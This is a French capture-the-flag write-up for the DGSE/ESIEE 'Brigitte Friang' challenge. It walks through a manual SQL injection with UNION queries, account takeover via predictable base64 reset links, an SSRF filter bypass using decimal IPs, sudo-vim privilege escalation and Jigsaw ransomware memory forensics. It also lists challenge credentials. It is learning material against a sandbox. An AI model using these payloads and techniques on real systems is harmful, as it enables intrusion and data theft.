# CTF DGSE DingDingDong style START : https://challengecybersec.fr/ ## Step 1 regarder les sources de la page web : ```html <!--/static/message-secret.html--> ``` ## Step 2 > Zp cvbz whyclulg h spyl jl tlzzhnl, j'lza xbl cvbz wvbclg ylqvpukyl s’vwlyhapvu «Iypnpaal Myphun». Ylqvpnulg-uvbz yhwpkltlua. > > Iypnpaal Myphun lza bul ylzpzahual, qvbyuhspzal la ljypchpul myhujhpzl. Lssl lza ull sl 23/01/1924 h Whypz, lssl h 19 huz zvbz s'vjjbwhapvu svyzxb'lssl lza yljyball wbpz mvytll jvttl zljylahpyl/jopmmylbzl why bu hnlua kb IJYH, Qlhu-Myhujvpz Jsvbla klz Wlyybjolz hsphz Nhspsll jolm kb Ibylhb klz vwlyhapvuz hlypluulz (IVH) kl sh Ylnpvu T (Jval kb Uvyk, Mpupzalyl, Pukyl la Svpyl, Vyul, Zhyaol, Svpyl pumlyplbyl, Thpul la Svpyl, Tvyipohu, Clukll). Iypnpaal Myphun bapspzl whymvpz klz mvbshykz wvby jhjoly klz jvklz. Jvtwslalg s’BYS hclj s’pumvythapvu xbp lza jhjoll khuz jl tlzzhnl. > > Zbpal h s’hyylzahapvu la sh ayhopzvu kl Wplyyl Thubls, Iypnpaal Myphun lza hyylall why sh Nlzahwv. Lssl lza islzzll why ihssl lu aluahua kl z’lumbpy la lza jvukbpal h s’Ovwpahs kl sh Wpapl. Klz ylzpzahuaz alualyvua kl sh spilyly thpz zhuz zbjjlz. Lssl lza avyabyll la ul kvuulyh whz k'pumvythapvuz. U’vbisplg whz sh ihyyl vispxbl. Lssl lza luzbpal lucvfll khuz sl jhtw kl Yhcluziybjr. > > Hwylz zvu ylavby kl klwvyahapvu, lssl whyapjpwl h sh jylhapvu kb Yhzzltisltlua kb wlbwsl myhuçhpz (YWM). Lssl pualnyl sh wlapal lxbpwl, hbavby k'Hukyl Thsyhbe, xbp ch wylwhyly sl kpzjvbyz mvukhalby kl Zayhzivbyn lu 1947 la slz lsljapvuz slnpzshapclz kl 1951. > > Lssl yluayl h s'VYAM, la klcplua jvyylzwvukhual kl nblyyl. Lssl viaplua zvu iylcla kl zhba lu whyhjobal la hjjvtwhnul klz jvtthukvz kl whyhjobapzalz lu vwlyhapvu kbyhua sh nblyyl k’Pukvjopul. Lssl yhjvual zvu lewlyplujl khuz Slz Mslbyz kb jpls (1955). K'hbaylz hnluaz zvua zby sl jvbw hb tvtlua vb ql cvbz whysl. Slz tlpsslbyz k'luayl cvbz zl kvuulyvua yluklg-cvbz h s'Lbyvwlhu Jfilydllr h Yluulz wvby bul yltpzl kl wype. Ylzvsclg sl wsbz k'lwylbclz hchua sh mpu kl jlaal tpzzpvu la alualg kl nhnuly cvayl wshjl whytp s'lspal! Why sh zbpal, lssl jvbcyl s’lewlkpapvu kl Zblg, sh nblyyl klz Zpe Qvbyz la sh nblyyl kb Cpla Uht. Lssl wyluk wvzpapvu lu mhclby k'bul hbavuvtpl kb qvbyuhspztl khuz sl zlycpjl wbispj jl xbp sbp chba k'layl spjlujpll kl s'VYAM. > > Lssl ljypa wsbzplbyz spcylz la altvpnul kl s'lunhnltlua klz mlttlz khuz sh Ylzpzahujl. Surement un vigenere : > > Si vous parvenez a lire ce message, c'est que vous pouvez rejoindre l’operation «Brigitte Friang». Rejoignez-nous rapidement. > > Brigitte Friang est une resistante, journaliste et ecrivaine francaise. Elle est nee le 23/01/1924 a Paris, elle a 19 ans sous l'occupation lorsqu'elle est recrutee puis formee comme secretaire/chiffreuse par un agent du BCRA, Jean-Francois Clouet des Perruches alias Galilee chef du Bureau des operations aeriennes (BOA) de la Region M (Cote du Nord, Finistere, Indre et Loire, Orne, Sarthe, Loire inferieure, Maine et Loire, Morbihan, Vendee). Brigitte Friang utilise parfois des foulards pour cacher des codes. Completez l’URL avec l’information qui est cachee dans ce message. > > Suite a l’arrestation et la trahison de Pierre Manuel, Brigitte Friang est arretee par la Gestapo. Elle est blessee par balle en tentant de s’enfuir et est conduite a l’Hopital de la Pitie. Des resistants tenteront de la liberer mais sans succes. Elle est torturee et ne donnera pas d'informations. N’oubliez pas la barre oblique. Elle est ensuite envoyee dans le camp de Ravensbruck. > > Apres son retour de deportation, elle participe a la creation du Rassemblement du peuple français (RPF). Elle integre la petite equipe, autour d'Andre Malraux, qui va preparer le discours fondateur de Strasbourg en 1947 et les elections legislatives de 1951. > > Elle rentre a l'ORTF, et devient correspondante de guerre. Elle obtient son brevet de saut en parachute et accompagne des commandos de parachutistes en operation durant la guerre d’Indochine. Elle raconte son experience dans Les Fleurs du ciel (1955). D'autres agents sont sur le coup au moment ou je vous parle. Les meilleurs d'entre vous se donneront rendez-vous a l'European Cyberweek a Rennes pour une remise de prix. Resolvez le plus d'epreuves avant la fin de cette mission et tentez de gagner votre place parmi l'elite! Par la suite, elle couvre l’expedition de Suez, la guerre des Six Jours et la guerre du Viet Nam. Elle prend position en faveur d'une autonomie du journalisme dans le service public ce qui lui vaut d'etre licenciee de l'ORTF. > > Elle ecrit plusieurs livres et temoigne de l'engagement des femmes dans la Resistance. > Rien de particulier mis a par dans le code on vois des partie en gras > /joha decodée en vigenere ça done > /chat ## Step 3 https://challengecybersec.fr/chat ### Crypto https://challengecybersec.fr/chat/public/uploads/echange.txt https://challengecybersec.fr/chat/public/uploads/archive_chiffree https://challengecybersec.fr/chat/public/uploads/layout.pdf https://challengecybersec.fr/chat/public/uploads/compte_rendu_eve.pdf >Comme vous pouvez le voir, le fichier que nous a envoyé Eve est protégé par un mot de passe et elle ne répond plus. Trouvez un moyen de la contacter pour déchiffrer le fichier >Arrêtez votre charme 42. Nous cherchons une information capitale qui est certainement cachée dans archive_chiffree. Si vous trouvez quelque chose envoyez-moi un message ! ### Web > Retrouvez l'adresse mail du client que l'on puisse prouver les agissements d'Evil Gouv. Elle pourra vous être utile pour la prochaine épreuve. Nous n'avons pas les identifiants, mais Stockos a connu plusieurs fuites de mots de passe et on ne peut pas dire qu'ils étaient originaux. Voici le lien : /4e9033c6eacf38dc2a5df7a14526bec1 > https://challengecybersec.fr/4e9033c6eacf38dc2a5df7a14526bec1/ -> admin:admin -> injection SQL dans le champ recherche de https://challengecybersec.fr/4e9033c6eacf38dc2a5df7a14526bec1/stock `Erreur : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' ORDER BY section ASC' at line 1` Avec comme payload `' OR 1 =1 #'` ![](https://i.imgur.com/HeBXSIF.png) Maintenant il faut dumper la base entière pour obtenir le mail de Evil Gouv et avec de la chance le mdp. let's do sqlmap (a bit huge) : No way ! Bon on y va a la mano : ``` ' AND 1=2 UNION SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_SCHEMA='dbName' # != number of columns ' AND 1=2 UNION SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_SCHEMA='dbName' # != number of columns ' AND 1=2 UNION SELECT TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME,TABLE_TYPE,ENGINE FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_SCHEMA='dbName' # Error from Database ' AND 1=2 UNION SELECT TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME,TABLE_TYPE FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_SCHEMA='dbName' # != number of columns ' AND 1=2 UNION SELECT TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME,TABLE_TYPE,ENGINE,VERSION FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_SCHEMA='dbName' # != number of columns ' AND 1=2 UNION SELECT TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME,TABLE_TYPE,ENGINE FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_SCHEMA='dbName' LIMIT 1 # Error from Database ' AND 1=2 UNION SELECT SUBSTRING_INDEX('Lorem ipsum dolor sit amet.',' ',1) AS part1, SUBSTRING_INDEX('Lorem ipsum dolor sit amet.',' ',2) AS part2, SUBSTRING_INDEX('Lorem ipsum dolor sit amet.',' ',3) AS part3, SUBSTRING_INDEX('Lorem ipsum dolor sit amet.',' ',4) AS part4, SUBSTRING_INDEX('Lorem ipsum dolor sit amet.',' ',5) AS part5 # OK ' AND 1=2 UNION SELECT TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME,TABLE_TYPE,ENGINE FROM INFORMATION_SCHEMA.TABLES LIMIT 1 # ``` ![](https://i.imgur.com/wSrA9SB.png) `' AND 1=2 UNION SELECT * FROM customer # ` ![](https://i.imgur.com/8EcZ51G.png) mail Evil Gouv : ***agent.malice@secret.evil.gov.ev*** > Grace aux informations récupérées sur Stockos, trouvez un moyen de prendre votre billet sur le site d'AirEvil, unique compagnie aérienne qui s'y rend : /35e334a1ef338faf064da9eb5f861d3c. Réservez le vol ABDJI6 du 26/10/2020 au 28/10/2020 de Bad City à Evil City. Pensez à prendre de la crème solaire, le soleil tape là-bas. > https://challengecybersec.fr/35e334a1ef338faf064da9eb5f861d3c/ >Une fois le billet récupéré envoyez moi la valeur du QRCode, ça devrait être de la forme : DGSESIEE{un_hash} On peut créer un compte sur AirEvil, on reçoit alors un line d'activation : http://challengecybersec.fr/35e334a1ef338faf064da9eb5f861d3c/activate/cXRjZXJ6ZWllaWZhaWxzamd1QHRzeWVmbi5jb20= avec la base64 correspondant à l'émail **cXRjZXJ6ZWllaWZhaWxzamd1QHRzeWVmbi5jb20=** -> qtcerzeieifailsjgu@tsyefn.com Le lien d'activation est alors prédictif pour tout le monde http://challengecybersec.fr/35e334a1ef338faf064da9eb5f861d3c/activate/YWdlbnQubWFsaWNlQHNlY3JldC5ldmlsLmdvdi5ldg== Corespond au lien d'activation de agent.malice@secret.evil.gov.ev ![](https://i.imgur.com/hUXaugr.png) Shit ! Bon en essayant la fonction de reset de mot de passe on ce rend compte que le liens aussi est prédictif et surtout qu'il permet d'obtenir le mots de passe en clair (Merci PiX). ![](https://i.imgur.com/vur1jNT.png) ![](https://i.imgur.com/pvCTprc.png) Ce qui correspond au mots de passe que j'ai utilisé. Si on modifi le liens de reset de mots de passe pour le compte agent.malice@secret.evil.gov.ev. agent.malice@secret.evil.gov.ev -> **YWdlbnQubWFsaWNlQHNlY3JldC5ldmlsLmdvdi5ldg==** https://challengecybersec.fr/35e334a1ef338faf064da9eb5f861d3c/reset/YWdlbnQubWFsaWNlQHNlY3JldC5ldmlsLmdvdi5ldg== ![](https://i.imgur.com/e5MaPrP.png) Maintenent il ne reste plus qu'a ce connecter et reserver un billet. ![](https://i.imgur.com/pJEPMKs.png) ![](https://i.imgur.com/RcS53qB.png) ***DGSESIEE{2cd992f9b2319860ce3a35db6673a9b8}*** > Grace à vous on sait maintenant qu'Evil Gouv envisage d'utiliser du VX contre la résistance ! En plus de ça vous avez votre billet d'avion ! Vous êtes incroyable ! J'ai un dernier défi pour vous, des sources sur le terrain ont pu intercepter une communication de l'agent Satan. Il nous assure que cette transmission est à propos du convoi https://challengecybersec.fr/chat/public/uploads/capture.pcap ### Algo >Nous avons comparé le haché du fichier avec le document original et ils ne correspondent pas, il a dû être modifié pour cacher des données. Voici les fichiers : https://challengecybersec.fr/chat/public/uploads/original.txt https://challengecybersec.fr/chat/public/uploads/intercepte.txt >Je compte sur vous 42 ! Dites-moi ici ce que vous avez trouvé, je vérifierai de mon côté https://ctf.challengecybersec.fr/7a144cdc500b28e80cf760d60aca2ed3/register-confirmation.php camille@moncelier.fr / ptu7fuWY27xjXLA! https://ctf.challengecybersec.fr/7a144cdc500b28e80cf760d60aca2ed3/challenge-detail.php?chall=27 ### Forensic >Un agent d'Evil Gouv a réussi à se connecter sur notre plateforme, il faut absolument que l'on retrouve son adresse IP https://challengecybersec.fr/chat/public/uploads/access.log >Voici les logs de Nginx >Envoyez moi l'adresse IP dès que vous la trouvez j'ai une piste très prometteuse sur l'affaire Friang un simple CTRL + R "evil" ``` 179.97.58.61 - - [Nov 05 2020 16:22:20] "POST /login HTTP/1.1" 200 476 "-" "Evil Browser" ``` **IP : 179.97.58.61** > Bien joué, nous l'avons bloqué ! Comme promis, voici une image trouvée dans une pièce jointe d'un e-mail provenant d'Evil Country. Nous pensons que la résistance tente de rentrer en contact avec nous. > > Nous savons que leur réseau a été infecté ces derniers jours et qu'ils ont perdu des baies de disques. > >Attention Agent 42, la pièce jointe risque de contenir un malware alors n'exécutez aucune application extraite de ce fichier directement sur votre ordinateur. https://challengecybersec.fr/chat/public/uploads/evil_country_landscape.jpg un petit coup de binwalk pour voir rapidement ce qu'il y a dedans : ``` DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1.01 79798 0x137B6 Zip archive data, at least v2.0 to extract, uncompressed size: 173015040, name: part2.img 4775856 0x48DFB0 Zlib compressed data, best compression 34737670 0x2120E06 MySQL MISAM compressed data file Version 1 56164092 0x358FEFC IMG0 (VxWorks) header, size: 257308484 128298187 0x7A5ACCB Cisco IOS microcode, for "w%" 158637081 0x9749C19 Zip archive data, at least v2.0 to extract, uncompressed size: 173015040, name: part3.img 239002530 0xE3EE3A2 Zlib compressed data, best compression 317286906 0x12E969FA End of Zip archive, footer length: 22 ``` on extrait uniquement les zip avec ``` binwalk --dd='zip' -e evil_country_landscape.jpg ``` Analyse de part2.img et part3.img avec testdisk : ``` Disk part2.img - 173 MB / 165 MiB - CHS 22 255 63 Current partition structure: Partition Start End Size in sectors P Linux md 1.x RAID 0 0 1 21 8 51 337920 [user-XPS-15-9570:6] ``` c'est donc 2 image d'un RAID, vraisemblablement un RAID Strip (RAID 0). Visiblement pas un RAID 0 car 3 part donc un raid a 3 disques D1 D2 D3 permétant la reconstruction avec la parité. RAID 5. On utilisa mdadm pour tester la reconstruction : ``` sudo losetup /dev/loop2 part2.img sudo losetup /dev/loop3 part3.img sudo mdadm --create /dev/md0 --assume-clean -l5 -n 3 missing /dev/loop2 /dev/loop3 ``` il faut ensuite créer un partition virtuel vide, perso j'ai obté pour : ``` dd if=/dev/zero of=part1.img bs=1M count=165 sudo losetup /dev/loop1 part1.img sudo mdadm --manage /dev/md0 -a /dev/loop1 ``` On vérifi la reconstruction du RAID 5 : ``` /dev/md0: Version : 1.2 Creation Time : Sat Oct 24 10:04:14 2020 Raid Level : raid5 Array Size : 333824 (326.00 MiB 341.84 MB) Used Dev Size : 166912 (163.00 MiB 170.92 MB) Raid Devices : 3 Total Devices : 3 Persistence : Superblock is persistent Update Time : Sat Oct 24 10:14:58 2020 State : clean Active Devices : 3 Working Devices : 3 Failed Devices : 0 Spare Devices : 0 Layout : left-symmetric Chunk Size : 512K Consistency Policy : resync Name : kali:0 (local to host kali) UUID : 09121bca:cc4a1f41:276b9d87:a8871464 Events : 19 Number Major Minor RaidDevice State 3 7 1 0 active sync /dev/loop1 1 7 2 1 active sync /dev/loop2 2 7 3 2 active sync /dev/loop3 ``` On monte le raid et on regarde dedan : ``` sudo mkdir /media/raid sudo mount /dev/md0 /media/raid/ ls /media/raid/ -la total 298292 drwxr-xr-x 3 root root 4096 Oct 6 05:35 . drwxr-xr-x 5 root root 4096 Oct 24 10:14 .. -rw-r--r-- 1 root root 305119359 Oct 6 05:35 dump.zip drwx------ 2 root root 16384 Oct 6 05:31 lost+found ``` Dans le dump.zip il y a un dump mémoire et un sha256 pour vérifier. ``` ~/DGSE$ sha256sum dump.vmem dd170dfbb7046c18850b97ab0f7d7227ad03fbd0b692e60b10549b211373941b dump.vmem ~/DGSE$ strings dump.vmem.sha256 dd170dfbb7046c18850b97ab0f7d7227ad03fbd0b692e60b10549b211373941b ``` OK on est bon \o\ .... /o/ Let's do volatility : ``` ~/volatility3$ python3 vol.py -f ~/DGSE/dump.vmem windows.info Volatility 3 Framework 1.2.1-beta.1 Progress: 41.02 Scanning primary2 using PdbSignatureScanner Variable Value Kernel Base 0xf80002a5b000 DTB 0x187000 Symbols jar:file:/home/kali/volatility3/volatility/symbols/windows.zip!windows/ntkrnlmp.pdb/3844DBB920174967BE7AA4A2C20430FA-2.json.xz primary 0 WindowsIntel32e memory_layer 1 FileLayer KdDebuggerDataBlock 0xf80002c4c0a0 NTBuildLab 7601.17514.amd64fre.win7sp1_rtm. CSDVersion 1 KdVersionBlock 0xf80002c4c068 Major/Minor 15.7601 MachineType 34404 KeNumberProcessors 1 SystemTime 2020-10-05 11:17:37 NtSystemRoot C:\Windows NtProductType NtProductWinNt NtMajorVersion 6 NtMinorVersion 1 PE MajorOperatingSystemVersion 6 PE MinorOperatingSystemVersion 1 PE Machine 34404 PE TimeDateStamp Sat Nov 20 09:30:02 2010 ``` ``` python2 vol.py -f ~/DGSE/dump.vmem imageinfo Volatility Foundation Volatility Framework 2.6.1 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (/home/kali/DGSE/dump.vmem) PAE type : No PAE DTB : 0x187000L KDBG : 0xf80002c4c0a0L Number of Processors : 1 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80002c4dd00L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2020-10-05 11:17:37 UTC+0000 Image local date and time : 2020-10-05 13:17:37 +0200 ``` ``` ~/volatility$ python2 vol.py -f ~/DGSE/dump.vmem --profile=Win7SP1x64 cmdline Volatility Foundation Volatility Framework 2.6.1 ************************************************************************ System pid: 4 ************************************************************************ smss.exe pid: 264 Command line : \SystemRoot\System32\smss.exe ************************************************************************ .... ************************************************************************ notepad.exe pid: 1880 Command line : "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\Documents\informations_attaque.txt.evil ************************************************************************ cmd.exe pid: 1744 ..... ``` On cherche le fichier dans la mémoire pour essayer de l'extraire. ``` ~/volatility$ python2 vol.py -f ~/DGSE/dump.vmem --profile=Win7SP1x64 filescan | grep evil Volatility Foundation Volatility Framework 2.6.1 0x000000001715ed50 16 0 R--r-- \Device\HarddiskVolume1\Users\user\Documents\informations_attaque.txt.evil 0x000000003fa3ebc0 2 0 RW-r-- \Device\HarddiskVolume1\ProgramData\Microsoft\RAC\PublishedData\RacWmiDatabase.sdf.evil 0x000000003fac8d10 32 0 RW-r-- \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\WER\ReportQueue\NonCritical_Firefox_installe_d514681bfc376345742b2157ace1e72c17fd991_cab_0938b7ba\appcompat.txt.evil 0x000000003fad8620 16 0 RW-r-- \Device\HarddiskVolume1\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000002.db.evil ~/volatility$ python2 vol.py -f ~/DGSE/dump.vmem --profile=Win7SP1x64 dumpfiles --dump-dir=. -Q 0x000000001715ed50 Volatility Foundation Volatility Framework 2.6.1 DataSectionObject 0x1715ed50 None \Device\HarddiskVolume1\Users\user\Documents\informations_attaque.txt.evil ~/volatility$ file file.None.0xfffffa800e9fec60.dat file.None.0xfffffa800e9fec60.dat: data kali@kali:~/volatility$ strings file.None.0xfffffa800e9fec60.dat .S&0= Y@UQ _9~v 5v/l ,!' -Q:wpl# 5g* }UpY31H 4fi3N giEE ``` Le fichier semble être chifré, visiblement par un cryptoloclker. Retour sur la liste des commande executé : ``` kali@kali:~/volatility$ python2 vol.py -f ~/DGSE/dump.vmem --profile=Win7SP1x64 cmdline Volatility Foundation Volatility Framework 2.6.1 ************************************************************************ System pid: 4 ************************************************************************ .... ************************************************************************ svchost.exe pid: 2276 Command line : C:\Windows\System32\svchost.exe -k secsvcs ************************************************************************ drpbx.exe pid: 2304 Command line : "C:\Users\user\AppData\Local\Drpbx\drpbx.exe" C:\Users\user\Documents\Firefox_installer.exe ************************************************************************ taskhost.exe pid: 2464 Command line : "taskhost.exe" ************************************************************************ .... ``` Le process **drpbx.exe pid: 2304** semble louche pour plusieur raisons : - Il s'éxecute dans **\AppData\Local\** - il a pour argument firefox_installer.exe on l'éxtrait sans ça mémoire dans un premier temps : ``` ~/volatility$ python2 vol.py -f ~/DGSE/dump.vmem --profile=Win7SP1x64 procdump -p 2304 --dump-dir=./ Volatility Foundation Volatility Framework 2.6.1 Process(V) ImageBase Name Result ------------------ ------------------ -------------------- ------ 0xfffffa8000e91b30 0x0000000000870000 drpbx.exe OK: executable.2304.exe ``` On vérifie le process avec virus total : ![](https://i.imgur.com/X8sAVJn.png) Bon cette fois si pas de doute.Jigsaw Ransomware ``` ~/DGSE$ file executable.2304.exe executable.2304.exe: PE32+ executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows ``` C'est un programme .Net compiler, il faut essayer de le décompiler pour trouver la clé de chiffrement. Comme indiqué ici : https://community.turgensec.com/jigsaw-ransomware-analysis-using-volatility/ Une fois décompiler avec https://github.com/icsharpcode/AvaloniaILSpy ![](https://i.imgur.com/Zz0nbTC.png) On obtien la clé de déchifrement ```.NET internal const string EncryptionPassword = "RXZpbERlZmF1bHRQYXNzIQ=="; ``` **RXZpbERlZmF1bHRQYXNzIQ== -> EvilDefaultPass!** Il manque l'IV qu'on obtient dans les sources : ![](https://i.imgur.com/gxXSs5G.png) Ayant la flemme de faire du code j'ai utilisé cyberchef ![](https://i.imgur.com/b0fWzxo.png) > Ce message est destiné à toute force alliée en mesure de nous venir en aide, nous la résistance d'Evil Country. Hier, nous sommes parvenus à mettre la main sur un dossier confidentiel émanant des services secrets d'Evil Gouv. > > Ces documents font mention d'une opération d'anéantissement de la résistance à l'aide d'un puissant agent innervant, le VX. L'attaque est prévue dans 4 jours à 4h40 au sein du fief de la résistance. > > Nous savons de source sure qu'un convoi permettant la synthèse du VX partira de l'entrepot Stockos de Bad Country vers le fief de la résistance d'ici quelques jours. Il faut intercepter ce convoi ! > > Contactez-nous à cette adresse : http://ctf.challengecybersec.fr/7a144cdc500b28e80cf760d60aca2ed3 ## Le vrai CTF : ### ~~UART~~ Utilisation de pulseview, ajustement suivant les bytes foirés au transfert `DGSESIEE{ d[-_-]b \_(''/)_/ (^_-) @}-;--- (*^_^*) \o/ }` ### Evil Cipher reverse fonction permutation15 en python ``` def permutation15(A) a =[] for AA in A : a.append(AA) b = a b[7] = a[0] b[3] = a[1] b[13] = a[2] b[8] = a[3] b[12] = a[4] b[10] = a[5] b[2] = a[6] b[5] = a[7] b[0] = a[8] b[14] = a[9] b[11] = a[10] b[9] = a[11] b[1] = a[12] b[4] = a[13] b[6] = a[14] B = "" for bb in b : B += bb return B ``` ### enigme de la crypte rsa qui se pete izi avec rsactftool, on récupere le clair IVQDQT NHABMPSVBYYUCJIYMJBRDWXAXP THYVCROD d'après le nom du mec ça sent enigma a peter Notes : ``` Mission Scherbius Chiffrez un message suivi de votre nom avec la machine de type M3 avec cette disposition : Uniquement les impairs en ordre croissant donc (I, II, III) Position roue : REJ Tableau de connexion : BA EZ ? (apparement en lien avec un autre chall, mais 4 char en MAJ ça se BF bien, dingding style) Position initiale : MER Sequence: BFX ou BFY chiffré : IVQDQT NHABMPSVBYYUCJIYMJBRDWXAXP THYVCROD ``` j'ai tenté de bf le tableau de connexion, rien, pas trouvé comment utiliser l'info "sequence". J'ai un bout de python si quelqu'un veut Dans foulard.txt on a l'info de : "Chiffrez un message suivi de votre nom" , on sait donc que la dernière partie du message soit "THYVCROD" correspond au nom de l'agent soit "REJEWSKI" De plus on sait que au debut des messages encodé par enigma "Le premier chiffreur choisit au hasard un réglage initial de rotors et le frappe deux fois, ex : BGZBGZ. C'est la clef brute du message (et la source des fameuses « cillies »)" (cf. https://fr.wikipedia.org/wiki/Enigma_(machine) ). Donc "IVQDQT" correspond à 2 fois 3 caractère (Sûrement l'info `(texte illisible 2): B(texte illisible 3)`) , on cherche sur cyberchef (en ayant rentré la configuration plus haute) une combinaison de 2x 3char qui donnerait "IVQDQT", on trouve rapidement que c'est "ZFGZFG". Maintenant on cherche une configuration tel que "REJEWSKI" renvoie "THYVCROD", après quelques essais et en ayant modifier "ZFG" en "BFG" et en ayant modifier "BA EZ" en "BE AZ", on trouve la bonne configuration. ![](https://imgur.com/gYDyfvo.png) Maintenant qu'on à la bonne config, plus qu'à décoder la partie du message qui contient le flag "NHABMPSVBYYUCJIYMJBRDWXAXP". ![](https://imgur.com/67Yr203.png) Et voilà le flag : `DGSESIEE{LESSANGLOTSLONGSDESVIOLONS}` ### ~~Le discret napier~~ essayé avec wolframe mais pas vraiment concluant, je suis peut etre un peu trop teubé https://www.wolframalpha.com/input/?i=17%5Ex+%E2%89%A1+183512102249711162422426526694763570228+%5B207419578609033051199924683129295125643%5D J'ai penser utiliser la technique de l'index calculus pour résoudre le problème j'utilise SageMath ``` g = 17 h = 183512102249711162422426526694763570228 p = 207419578609033051199924683129295125643 F = IntegerModRing(p) x = discrete_log(F(h), F(g)) ``` J'attend le résultat Pix solution ``` l = Integer(207419578609033051199924683129295125643) R = IntegerModRing(l) g = Integer(17) h = Integer(183512102249711162422426526694763570228) R(h).log(R(g)) ``` DGSESIEE{697873717765} ### Chatbot Clairement ssrf avec le proxy_url?machin, vu l'indice faut taper sur une machine du lan, mais pas trouvé pour l'instant Ducoup SSRF avec `proxy?url=` , on voit dans le script js :`urlRegex = /([^\s]+:\/\/[^\s]+)/g;` on sait donc utiliser `proxy?url=https://ip`. Aucun des ces protocoles fonctionnent `gopher://, file://, ldap:// or ftp://` Un test avec `proxy?url=https://192.168.0.1` nous renvoie un Forbidden -> On encode l'ip en décimal (`proxy?url=https://3232235521`) nous renvoie Not Found. pour la conversion ip -> nb ``` import socket, struct ip = [] for i in range(11): for j in range(256): ip.append(struct.unpack("!L", socket.inet_aton("192.168."+str(i)+"."+str(j)))[0]) ``` Plus qu'à trouver la machine sur le lan... DGSESIEE{2cf1655ac88a52d3fe96cb60c371a838} ### ~~stranger RSA~~ En déchiffrant le .enc avec la clef privée on obtient : "221 x 7" voila... j'en sais pas plus Ça a été flag ### Automatos *Merci à Siras* Le chall part de l'image suivante : ![](https://i.imgur.com/K24oHIU.png) en zoomant on ce rend compte qu'il y a qqch de caché 'un LSB peut être' : ![](https://i.imgur.com/BhkL2Ww.png) lorsqu'on regarde sur le premier bit sur le canal rouge on vois clairement le LSB : ![](https://i.imgur.com/xMmZMvK.png) ce qui correspond a un carré de 20x20 ayant pour coordonné (500,200) En isolant les différent bits du canal Rouge, on ce rend compte que le "LSB" est sur les 5 premier bits du canal rouge. lorque qu'on arrive a isoler ce carré avec les 5 bits on obtient : ![](https://i.imgur.com/lrw7Dq3.png) on remarque qu'il y a un seul et unique pixel pour une colone et une ligne donné. peut être un chemin donné, affichons les coordonné et les valeurs de chaque pixels. ``` [['00001', (0, 8)], ['10000', (1, 3)], ['00101', (2, 11)], ['01111', (3, 15)], ['00100', (4, 16)], ['01110', (5, 6)], ['01001', (6, 18)], ['00101', (7, 1)], ['10010', (8, 10)], ['01101', (9, 12)], ['00010', (10, 13)], ['00100', (11, 7)], ['01001', (12, 5)], ['10010', (13, 2)], ['10101', (14, 17)], ['01001', (15, 4)], ['10011', (16, 9)], ['01101', (17, 19)], ['01101', (18, 14)], ['00000', (19, 0)]] ``` On comprend rapidement que les coordonées des pixels indique un chemin a suivre : (0, 8) -> (8, 10) -> (10, 13) etc .... ce qui donne lorsque l'on concatenne les valeur en binaire : ``` 0000110010000101001000101001000010110000011110100100100100110110101001011100100101101101010110100000 ``` Soit rien du tout en Ascii ..... Apres moultes réfléxions est venu l'idée que les valeurs des pixels représentait la position dans l'alphabet. C'est a dire que 1 = A ... 27 =Z. On obtient alors en suivant le chemin et les valeur : ``` ARBREDEPOIDSMINIMUM ``` Qui est le flag ! ### Quelle heure est-t-il ? Après avoir essayé tous les formats pour afficher une heure, voir que le serveur avait 1heure de retard, on tape sur Google "hour format informatique" -> Unix Timestamp Grâce à http://www.timestamp.fr/, il suffit de renvoyer le timestamp et voilà !! ![](https://i.imgur.com/h8FFHYj.png) ### Alone Muks On se connecte en SSH. Cependant on utilise le shell de /bin/sh et on s'identifie avec user:user. ![](https://i.imgur.com/n33Wnz1.png) Une fois ceci fait, nous avons accès à la commande sudo. On effectue donc un sudo -l pour lister les privilèges. ![](https://i.imgur.com/ofBiB1u.png) On remarque qu'en globalSystem on peut utiliser vim sans Password. On va donc utiliser vim pour monter en privilège et ainsi passer de user à globalSystem. ![](https://i.imgur.com/t9d13lp.png) VIM se lance donc et on lance depuis ce dernier un shell en utilisant :sh ![](https://i.imgur.com/cL5zTFy.png) Nous avons donc procéder à l'escalation. ![](https://i.imgur.com/iPjoVux.png) On repète les mêmes étapes, sudo -l. On remarque que cette fois-ci update est en NoPasswd pour navigationSystem. ![](https://i.imgur.com/XQtHtSf.png) On refait encore une fois notre escaltion avec cette fois-ci navigationSystem en user. Et le tour est joué ! ![](https://i.imgur.com/OiIMyoj.png) Le flag est : DGSESIEE{44adfb64ff382f6433eeb03ed829afe0}. ### Steganosaurus DGSEESIEE{FL4GISH3R3} l'image disque contient un readme et un apk un photorec permet de récupérer un png en plus (flag.png) L'algo a reverse (voir la méthode `Future<void> steggapp(File pImage, String pMessage) async`): ### Polyglotte Le pdf est aussi un html qui pop un password en alert `_4aee=7<e5:` Apres ROT4 de la chaine, on a `[0]aa938a16` Le password du zip se pete avec rockyou et fcrackzip : `finenuke` ça donne un poisson-freebsd en png (hint.png) et un texte d'indice 